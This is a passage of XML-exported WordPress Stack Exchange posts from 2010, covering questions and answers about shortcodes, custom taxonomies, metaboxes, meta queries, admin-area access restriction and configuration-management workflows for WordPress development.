  <row Id="4069" PostTypeId="2" ParentId="218" CreationDate="2010-11-14T23:38:52.530" Score="1" ViewCount="" Body="&lt;p&gt;You ask for &quot;but I'm looking for specific examples of setups/workflows that people use to keep a version history of edited files on a WordPress site&quot; but you also mention products :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get above as answer a list of tools and some best practices but I will focus here on the workflows: THEY ARE NOT WORDPRESS SPECIFIC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the general examples/setups/workflows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters: there ARE CM patterns, so independent of tooling. Google on CM Patterns, a lot of books out there, wiki's even communities e.g. &lt;a href=&quot;http://www.cmcrossroads.com/forums&quot; rel=&quot;nofollow&quot;&gt;http://www.cmcrossroads.com/forums&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also guides on setting up a valid stream strategy (google stream strategy), etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is anything special about WordPress deployments compared to CM Management incl distributed parallel development on large Siebel, SAP, Informatica, Java etc.. factories. It's really almost default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is missing, I think, is that noone has writing a CMplan for WordPress development (yet) (IEEE). Once someone has done that (tool independent). The requirements can be filled in, I think, with any tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the reason that plan has not been written is that almost all WordPress implementations are still done by 1 person with a simple development-production setup so not with multiple developers/designers in the build phase having to deploy different versions that are running in the test environment, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the CMP plan starts with identifying all CI's in other words: make a list of all types of CI's present in a WordPress implementation including the apps, plugins, database, documentation, help, content, config files, release notes (!), etc...). That is a good start. Then decide which ones you want to bring under CM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next decide on what causes changes on these CI's e.g. a customer call for a bugfix, or an upgrade that is needed. If done right, this leads to a situation where you have the feeling things are under control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decisions like merging back from production to development and the way to handle that is part of that chapter (2 main patterns here) (though ofcourse you should try to minimize these hotfixes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only later look for a tool to do CM on one side (which includes version management as one of the tools) and change management tooling on the other side (which keeps you sane).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that is the best workflow to start with since, as far as I googled, noone has done yet. I think once the first person has written a WordPress CM Plan (according to IEEE) every other WordPress person in the world can copy that plan and make adjustments and implement the patterns in their tooling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't that too much work/too heavy : depends if you have a company or not: it can save your ass big time one day to have good CM plan.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-14T23:55:18.013" LastActivityDate="2010-11-14T23:55:18.013" />
  <row Id="4070" PostTypeId="2" ParentId="2943" CreationDate="2010-11-15T02:25:33.217" Score="2" ViewCount="" Body="&lt;p&gt;I think the amount of people doing data entry commenting (see hundreds of jobs out there...: &lt;a href=&quot;http://www.freelancer.com/projects/by-job/Forum-Posting.html&quot; rel=&quot;nofollow&quot;&gt;http://www.freelancer.com/projects/by-job/Forum-Posting.html&lt;/a&gt; ) will defeat the purpose here of a spam checker. They are used on many different workplaces and each time &quot;new jobs&quot; are offered to other people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is best to in the first place remove the websites they drop and all href tags so even if it succeeds it is useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe some new global indicator &quot;you can not post links here&quot; is needed which they can check by a giant logo and that will leave your site alone :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. these job boards learn me lots of new terminology e.g. &quot; need 500 Web 2.0 style profile pages created using the Angela/Paul/Terry Kyle Profile link building method. If you dont know what this is please dont bid.&quot; WTF is a Angela/Paul Terry Kyle profile??&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-15T02:25:33.217" CommentCount="1" />
  <row Id="4071" PostTypeId="2" ParentId="1567" CreationDate="2010-11-15T05:45:04.510" Score="5" ViewCount="" Body="&lt;h2&gt;Grab all custom fields globally&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_custom_field($key, $echo = FALSE) {&#xA;    global $post;&#xA;    $custom_field = get_post_meta( $post-&amp;gt;ID, $key, true );&#xA;    if ( $echo == false ) &#xA;        return $custom_field;&#xA;    echo $custom_field;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then call the field with a single line&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_custom_field('custom-field-name', TRUE); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-01-28T16:48:16.843" LastActivityDate="2011-01-28T16:48:16.843" CommunityOwnedDate="2010-11-15T05:45:04.510" CommentCount="2" />
  <row Id="4072" PostTypeId="1" AcceptedAnswerId="4090" CreationDate="2010-11-15T05:45:43.713" Score="0" ViewCount="374" Body="&lt;p&gt;this is shortcode in template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function shortcode_frame_left( $atts, $content = null)&#xA;{&#xA;&#xA;   return '&amp;lt;span class=&quot;frame alignleft&quot;&amp;gt;'. do_shortcode($content) . '&amp;lt;/span&amp;gt;';&#xA;}&#xA;add_shortcode('frame_left', 'shortcode_frame_left');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is how using in post content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[frame_left] &amp;lt;a href=&quot;YOUR-URL&quot;&amp;gt;&amp;lt;img src=&quot;YOUR-URL&quot; /&amp;gt;&amp;lt;/a&amp;gt; [/frame_left]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to use this shortcode in template file for displaying post thumbnails. What i try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_post_thumbnail()) {&#xA;&#xA;apply_filters( 'the_content', &quot;[frame_left]&quot;.the_post_thumbnail().&quot;[/frame_left]&quot;); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_post_thumbnail()) {&#xA;&#xA;$thumbnail = '[frame_left]'. the_post_thumbnail() . '[/frame_left]';&#xA;echo do_shortcode(&quot;$thumbnail&quot;);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am i doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-15T17:40:17.110" LastActivityDate="2010-11-15T17:40:17.110" Title="Using shortcode in template file" Tags="&lt;template&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="4073" PostTypeId="1" AcceptedAnswerId="4078" CreationDate="2010-11-15T06:02:39.757" Score="1" ViewCount="156" Body="&lt;p&gt;I'm designing a custom magazine theme, where categories are used for different sections, and I created a custom &quot;edition&quot; taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The editor will create a new term in that taxonomy for each new edition published, i.e. the number of the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I query the latest &quot;edition&quot;, so I can combine it with each category and then publish only the posts that belong to the newest edition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines on:&#xA;    ?edition=34&amp;amp;cat=studies&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-11-15T18:30:59.683" Title="Get the latest taxonomy/category?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="4074" PostTypeId="1" AcceptedAnswerId="4080" CreationDate="2010-11-15T06:11:13.813" Score="1" ViewCount="131" Body="&lt;p&gt;I have a main page where i want to show up the latest post content of two or more blogs.. for now I have this  code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    // Include WordPress Blog 1&#xA;    define('WP_USE_THEMES', false);&#xA;    require('./blog1/wp-load.php');&#xA;    ?&amp;gt;  &#xA;    &amp;lt;?php query_posts('showposts=3');?&amp;gt;&#xA;    &amp;lt;?php while (have_posts()): the_post(); ?&amp;gt;&#xA;        some of my blog 1 stuff.. .&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;?php wp_reset_query();?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    // Include WordPress Blog 2&#xA;    define('WP_USE_THEMES', false);&#xA;    require('./blog2/wp-load.php');&#xA;    ?&amp;gt;  &#xA;    &amp;lt;?php query_posts('showposts=3');?&amp;gt;&#xA;    &amp;lt;?php while (have_posts()): the_post(); ?&amp;gt;&#xA;        some of my blog 2 stuff.. .&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;?php wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;blog no. 1 is showing it's content but blog no. 2 doesn't show up the content.. .how can I reconstruct them both to work in one page which is my main page... are this possible to reconstruct? &lt;/p&gt;&#xA;" OwnerUserId="420" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:13:20.547" LastActivityDate="2011-05-07T23:13:20.547" Title="Multiple WordPress outside wordPress installation?" Tags="&lt;custom-post-types&gt;&lt;3.0.1&gt;" AnswerCount="2" />
  <row Id="4075" PostTypeId="2" ParentId="4073" CreationDate="2010-11-15T06:46:43.433" Score="2" ViewCount="" Body="&lt;p&gt;You can use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-15T06:46:43.433" CommentCount="1" />
  <row Id="4076" PostTypeId="2" ParentId="106" CreationDate="2010-11-15T07:11:50.073" Score="2" ViewCount="" Body="&lt;p&gt;If you want to keep subscriber-level users from seeing the wp-admin directory, you can create standalone versions of the login/registration and profile/edit pages in their own directories. Then, you can protect your admin folder via htaccess or IP restriction. (Though if you do this, you should make an exception for the admin-ajax file, as some plugins use it to add, um, AJAX functionality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach gives you the &quot;obscurity&quot; you want (which doesn't really do much, but often makes clients and managers feel better), and also adds some real security by limiting access to the admin. Plus, honestly, a URL that just says &quot;/login&quot; looks a lot nicer than &quot;wp-login.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should go without saying that this doesn't make your site bulletproof. But it's a nice, basic enhancement.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-15T07:11:50.073" />
  <row Id="4077" PostTypeId="1" AcceptedAnswerId="4081" CreationDate="2010-11-15T10:19:41.153" Score="1" ViewCount="320" Body="&lt;p&gt;I want to use in flash-game web-site, like most popular games. Do you have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1301" LastActivityDate="2010-11-15T13:53:13.547" ClosedDate="2010-11-16T23:08:45.960" Title="Is there any way to sort posts by number of views?" Tags="&lt;users&gt;&lt;views&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4078" PostTypeId="2" ParentId="4073" CreationDate="2010-11-15T10:39:25.240" Score="1" ViewCount="" Body="&lt;p&gt;The latest edition should always be the term in that taxonomy with the highest term_id, right? Query get_terms and find the latest edition, then use that term to build the rest of your query...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$edition = get_terms('edition','orderby=none&amp;amp;order=DESC&amp;amp;number=1');&#xA;$latest_edition = $edition[0]-&amp;gt;slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can either modify the current query, if that's what you want to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$wp_query-&amp;gt;set('edition',$latest_edition);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use it to build new queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$studiesposts = get_posts('category_name=Studies&amp;amp;edition='.$latest_edition);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have your permalink structure set up, it should also work to build urls for new links, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://yourdomain.com/edition/34/category/studies&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-11-15T18:30:59.683" LastActivityDate="2010-11-15T18:30:59.683" CommentCount="2" />
  <row Id="4079" PostTypeId="1" AcceptedAnswerId="4110" CreationDate="2010-11-15T10:43:10.777" Score="3" ViewCount="130" Body="&lt;p&gt;What is the best way to get an experienced WordPress developer take a look at my plugin and give constructive criticisms? I have written code to solve some of my questions on this site, and I think they could be useful to others too. However, since they would by my first public WordPress plugins, and I have seen many not-so-great examples in the public WordPress directory, I would like to know &quot;where I stand&quot;, and how I can improve my plugins. I have read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development&quot;&gt;the list of best practices&lt;/a&gt;, and still need to apply some of them, but I would also like an answer to the more general question &quot;Is this a good way to solve this problem?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just re-read &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-August/034146.html&quot; rel=&quot;nofollow&quot;&gt;the related discussion on &lt;code&gt;wp-hackers&lt;/code&gt;&lt;/a&gt; (I did not realize that the participants were also so involved in this site, and that the &quot;best practices&quot; question is a direct result of it). I'm not sure my needs would be covered by such a system, and I agree with &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-August/034256.html&quot; rel=&quot;nofollow&quot;&gt;Paul's concerns&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When I read the original comments on this thread last week I though the purpose was to put together a peer review process where plugin developer can offer advice to other plugin developers as review of their code. I originally took this advice as something along the lines of &quot;Well, your code works but this set of routines you've written would be better served if you just hooked into this WP filter and tried this technique (see xxx plugin as an example)&quot;. The goal I thought was to share WP plugin development knowledge and make any mediocre plugin developer a better developer. Like myself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would be a different scope than doing a point-by-point checklist review, it would be more of a &quot;mentorship&quot;. It seems there are many people willing to do this, and (even better) many of them participate here on this site, so how can we transform all of that energy into something concrete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;My current example are three plugins I wrote to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1463/resizing-images-to-the-actual-size-used-in-the-editor/4012#4012&quot;&gt;solve my &quot;image resize&quot; problem&lt;/a&gt;. I wrote long introductory comments to each plugin, which (I hope) makes it easier to understand my intentions without reading the full code. Is there anything else I can do to make it easier for others to take a look at it?&lt;/strike&gt; &lt;em&gt;Please ignore my current concrete request. Not only is it too early for them, but I changed my mind and don't want to spoil the general discussion with my specific situation.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-15T16:12:25.237" LastActivityDate="2010-11-15T22:59:43.283" Title="Getting a peer review for my new plugin?" Tags="&lt;plugin-development&gt;&lt;best-practices&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" />
  <row Id="4080" PostTypeId="2" ParentId="4074" CreationDate="2010-11-15T11:28:36.340" Score="2" ViewCount="" Body="&lt;p&gt;I highly doubt you can get it to work that way reliably. WordPress relies a lot on global variables and so there is no way you can keep two WordPress instances active and sane at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion would be to use RSS feeds of posts from those two blogs (with RSS widget or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fetch_feed()&lt;/code&gt;&lt;/a&gt;) or direct SQL queries.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-15T11:28:36.340" />
  <row Id="4081" PostTypeId="2" ParentId="4077" CreationDate="2010-11-15T11:41:15.893" Score="3" ViewCount="" Body="&lt;p&gt;net.tutsplus includes some excellent tutorials on wordpress development. &#xA;The following &lt;a href=&quot;http://goo.gl/79Nk&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; is a step by step development of a “Most Popular By Views” Plugin.&#xA;What is also great is that this website provides the source so you can use it (or parts of it, for your need).&#xA;Step 1 and 2 explain how to gather the visit number in a database table and step 5 will help you output the sorted list.&#xA;Tell me if it works for you.&lt;/p&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="1502" LastEditorDisplayName="" LastEditDate="2010-11-15T13:53:13.547" LastActivityDate="2010-11-15T13:53:13.547" CommentCount="7" />
  <row Id="4082" PostTypeId="2" ParentId="4077" CreationDate="2010-11-15T11:57:45.493" Score="3" ViewCount="" Body="&lt;p&gt;I highly recommend Lester Chan's &lt;strong&gt;WP-PostViews&lt;/strong&gt; plugin.&#xA;You can download it here &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/#wp-postviews&quot; rel=&quot;nofollow&quot;&gt;http://lesterchan.net/portfolio/programming/php/#wp-postviews&lt;/a&gt; or from the plugin directory.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2010-11-15T11:57:45.493" CommentCount="2" />
  <row Id="4083" PostTypeId="2" ParentId="4079" CreationDate="2010-11-15T12:21:17.230" Score="1" ViewCount="" Body="&lt;p&gt;After a quick look at &lt;a href=&quot;https://gist.github.com/675437&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/675437&lt;/a&gt; I saw some minor points, mostly about readability:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write good code documentation: Docblocks … and inline comments whenever something isn’t absolutely clear.&lt;/li&gt;&#xA;&lt;li&gt;Split looong functions into shorter separate functions. They are easier to read and to address in reviewer’s comments.&lt;/li&gt;&#xA;&lt;li&gt;Align your assignment operators, add whitespace between parentheses.&lt;/li&gt;&#xA;&lt;li&gt;80 characters line length, please! Eclipse still cannot wrap long lines. :(&lt;/li&gt;&#xA;&lt;li&gt;Keep your code »left«, save indents. Instead of:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function checkUrl()&#xA;{&#xA;    if (is_404()) {&#xA;        // code&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… write …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function checkUrl()&#xA;{&#xA;    if ( ! is_404() ) {&#xA;        return;&#xA;    }&#xA;    // code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have written a new plugin just tonight … and I was wondering if I may ask exactly your question. Good timing. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-11-15T12:42:29.817" LastActivityDate="2010-11-15T12:42:29.817" CommentCount="3" />
  <row Id="4084" PostTypeId="2" ParentId="4074" CreationDate="2010-11-15T12:44:11.533" Score="0" ViewCount="" Body="&lt;p&gt;The second wp-config.php file isn't getting loaded, for starters. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you worked around that, though, it doubt you'll get it to work, because globals, constants and included files will be those of the first install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could arguably reset key globals ($wpdb and and $wp_object_cache in particular). Extensive amounts of filters might allow you to work around key defines (e.g. WP_CONTENT_DIR). The theme's functions.php and the plugins files, if they differ on the two sites, are another story entirely.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-15T12:44:11.533" />
  <row Id="4085" PostTypeId="1" AcceptedAnswerId="4131" CreationDate="2010-11-15T13:26:09.920" Score="2" ViewCount="420" Body="&lt;p&gt;I have a custom post type for slideshows that creates a paginated post and each slide is a separate page.  The data for each slide is saved in the custom fields and each slide has a title set saved in the custom field with key &quot;slide{$i}-title&quot; ($i being the slide number, for example slide1-title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the url of each subsequent page is the number appended to the post permalink (which is the standard way paginated page urls are formatted) like this: &lt;a href=&quot;http://example.com/post-title/2/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/post-title/2/&lt;/a&gt; for page/slide 2 and &lt;a href=&quot;http://example.com/post-title/3/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/post-title/3/&lt;/a&gt; for page/slide 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I change this so that each page's url is appended with the slide title instead of the incremental number?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;a href=&quot;http://example.com/post-title/slide-2-title/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/post-title/slide-2-title/&lt;/a&gt; for page/slide 2 and &lt;a href=&quot;http://example.com/post-title/slide-3-title/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/post-title/slide-3-title/&lt;/a&gt; for page/slide 3.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-11-16T10:53:53.570" Title="Changing the URL Structure of a Paginated Custom Post" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;pagination&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="4086" PostTypeId="2" ParentId="3468" CreationDate="2010-11-15T14:44:24.630" Score="8" ViewCount="" Body="&lt;p&gt;If you end goal is to add text boxes dynamically, but still require the user to save/update the post, you don't need to use AJAX at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just name the text fields appropriately so an array of values is POSTed, then handle it in your save action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be helpful to save this array in a single post meta key, so you can just loop through it to output the meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give an ID to the enclosing &amp;lt;div&amp;gt;, something like 'slideshow_metabox'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your initial text boxes as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; style=&quot;position: relative; right: 0; width: 85%;&quot; name=&quot;slideshow[]&quot; value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And change your 'add button' onclick to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function() {&#xA;    jQuery('#slideshow_metabox').append('&amp;lt;input type=&quot;text&quot; style=&quot;position: relative; right: 0; width: 85%;&quot; name=&quot;slideshow[]&quot; value=&quot;&quot; /&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1579" LastActivityDate="2010-11-15T14:44:24.630" />
  <row Id="4087" PostTypeId="1" AcceptedAnswerId="4099" CreationDate="2010-11-15T14:45:46.587" Score="1" ViewCount="1047" Body="&lt;p&gt;I have a wp query that works great - it returns a list of featured posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP_Query(&quot;category_name=office&amp;amp;meta_key=featured_post&amp;amp;meta_value=Yes&amp;amp;posts_per_page=3&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I want to add a 2nd custom key to the query (a custom order field) then order by the numerical value of the meta value of this key.. is it possible to use 2 meta_key values in a WP_Query? If not is it possible using an SQL query statement?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2010-11-15T22:35:56.477" Title="Query 2 meta key values and a category" Tags="&lt;post-meta&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="4088" PostTypeId="1" AcceptedAnswerId="4091" CreationDate="2010-11-15T15:32:30.247" Score="1" ViewCount="283" Body="&lt;p&gt;I'm setting up a plugin with a nested shortcode, i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ct_training_group]&#xA;    [ct_training]&#xA;[/ct_training_group]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the catch: I use the &lt;code&gt;[ct_training]&lt;/code&gt; code outside of the parent as well as within it, and want to output something slightly different in each case. When it is inside a group, I need to omit the &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; that I would wrap the &lt;code&gt;[ct_training]&lt;/code&gt; shortcode in when it is called on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure the easiest way to do this would be to pass a variable from the parent to the child. Is there any graceful way to do this where I wouldn't need to mess with globals or such?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2010-11-15T16:32:49.790" Title="Pass variable to nested shortcode" Tags="&lt;plugins&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="4089" PostTypeId="1" AcceptedAnswerId="4102" CreationDate="2010-11-15T15:39:59.663" Score="5" ViewCount="623" Body="&lt;p&gt;I have been trying to get this worked out for over a year and have tried numerous ways and have not been able to get it to work.  I'd really appreciate it if someone could help me with this.  Here's what I'm trying to do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create 15 custom metaboxes for the Write screen on my custom post type for Slideshows (lom_slideshow).  Each metabox will be the same except for the number of slide (Eg, Slide 1, Slide 2...).  I would like the metaboxes to save each field into the seperate Custom Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the fields that need to be in each metabox:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Number/Text Field&lt;/strong&gt; &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Slide Number&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-number&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Checkbox&lt;/strong&gt; &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Hide This Slide&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-hide&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Radio toggle&lt;/strong&gt; &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Slide Type&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-slidetype&lt;/li&gt;&#xA;&lt;li&gt;Values: Image Slide or Video Slide&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Text Field&lt;/strong&gt;&lt;br&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Slide Title&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-title&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Image&lt;/strong&gt; (this one could work several ways and I don't really care how it works as long as it does) &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Slide Image&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-image&lt;/li&gt;&#xA;&lt;li&gt;How it will function: as long as it does one of the following things I'll be happy...&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;A)&lt;/strong&gt; A dropdown list of all the image attachment associated with the post. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;B)&lt;/strong&gt; A list of thumbnails for all the attached images associated with the post. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;C)&lt;/strong&gt; An image upload field to upload an image and attach it to the post. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;WYSIWYG&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Slide Description&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-desc&lt;/li&gt;&#xA;&lt;li&gt;Type: wysiwyg&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Textarea&lt;/strong&gt; &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title: Video Embed Code&lt;/li&gt;&#xA;&lt;li&gt;Custom Field Key: slide1-embed&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Slide 2 will be the same but the all the Custom Field Values will be appended with &quot;slide2-&quot; instead of &quot;slide1-&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other consideration is that I'd like them to be in the main content column and only visible on my Slideshow custom post type (lom_slideshow).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said I have tried this numerous time and never got it right.  I have gotten close in the past and have gotten the whole thing working except I couldn't get multiple instances of the WYSIWYG to show up on the page.  I no longer have that code because I have changed it numerous times since 